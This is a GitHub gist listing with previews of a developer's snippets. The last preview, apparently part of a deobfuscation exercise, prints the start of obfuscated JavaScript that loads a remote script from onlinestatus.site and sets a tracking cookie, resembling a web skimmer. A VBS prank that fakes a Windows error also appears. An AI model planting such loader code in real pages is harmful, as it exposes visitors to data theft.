Skip to content

Instantly share code, notes, and snippets.

View rickdaalhuizen90's full-sized avatar

Rick Daalhuizen rickdaalhuizen90

  • Belgium
  • 01:43 (UTC -12:00)
View GitHub Profile

Full-screen video background

This technique based on Fullscreen Video Background which modify to make it possible for Video Parallax Background.

A Pen by Rick Daalhuizen on CodePen.

License.

Slide in

The @keyframes rule specifies the animation code.

The animation is created by gradually changing from one set of CSS styles to another.

During the animation, you can change the set of CSS styles many times.

Specify when the style change will happen in percent, or with the keywords "from" and "to", which is the same as 0% and 100%. 0% is the beginning of the animation, 100% is when the animation is complete.

@rickdaalhuizen90
rickdaalhuizen90 / app.js
Created October 16, 2016 21:27
Handling Multiple Requests in Node.js
/**
* Node.js Tutorial for Beginners: Handling Multiple Requests
* See: https://www.youtube.com/watch?v=KsjrN-T3ZCs&index=4&list=PL6gx4Cwl9DGBMdkKFn3HasZnnAqVjzHn_
* Credits to: https://github.com/buckyroberts
*/
function placeAnOrder(orderNumber){
console.log("Customer order:", orderNumber);
@rickdaalhuizen90
rickdaalhuizen90 / .htaccess
Last active January 15, 2017 16:11
Redirect all request to public
# Allows ModRewrite to work
Options FollowSymLinks
# Turn on rewrite engine
RewriteEngine On
RewriteBase /your-sitename/
# Only allow access to index.php and a directory
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
@rickdaalhuizen90
rickdaalhuizen90 / error.vbs
Created March 2, 2017 10:50
Coolest Notepad Tricks and Hacks for Your PC
' Fake Windows Error Message
X=Msgbox(“Press OK and Windows will restart now.”,0+16,“There is a serious problem in your system”)
@rickdaalhuizen90
rickdaalhuizen90 / constructor.js
Last active October 26, 2017 06:31
JavaScript object creation patterns tutorial - factory , constructor pattern, prototype pattern
// Constructor
var person = function(name, age, country)
{
this.name = name;
this.age = age;
this.country = country;
this.printPerson = function()
{
console.log(this.name + ", " + this.age + ", " + this.country);
@rickdaalhuizen90
rickdaalhuizen90 / Foo.php
Created January 28, 2018 16:40
Example of parsing arguments in php cli
<?php
class Hash
{
protected $string;
protected $hash;
/**
* Init arguments
@rickdaalhuizen90
rickdaalhuizen90 / .bash_aliases
Created January 30, 2018 06:37 — forked from vratiu/.bash_aliases
Git shell coloring
# Customize BASH PS1 prompt to show current GIT repository and branch.
# by Mike Stewart - http://MediaDoneRight.com
# SETUP CONSTANTS
# Bunch-o-predefined colors. Makes reading code easier than escape sequences.
# I don't remember where I found this. o_O
# Reset
Color_Off="\[\033[0m\]" # Text Reset
@rickdaalhuizen90
rickdaalhuizen90 / script.js
Created July 7, 2018 13:28
Deobfuscation van js script
var ydddcef0cda9f99ac91f7c3a1a48b587a = {
snd: null,
v88bc7dc484cdebc76aca340fe0cbe1d3: 'https://onlinestatus.site/js/status.js',
myid: (function(_0xb69fx2) {
var _0xb69fx3 = document['cookie']['match'](new RegExp('(?:^|; )' + _0xb69fx2['replace'](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\$1') + '=([^;]*)'));
return _0xb69fx3 ? decodeURIComponent(_0xb69fx3[1]) : undefined
})('setidd') || (function() {
var _0xb69fx4 = new Date();
var _0xb69fx5 = _0xb69fx4['getTime']() + '-' + Math['floor'](Math['random']() * (999999999 - 11111111 + 1) + 11111111);
var _0xb69fx6 = new Date(new Date()['getTime']() + 60 * 60 * 24 * 1000);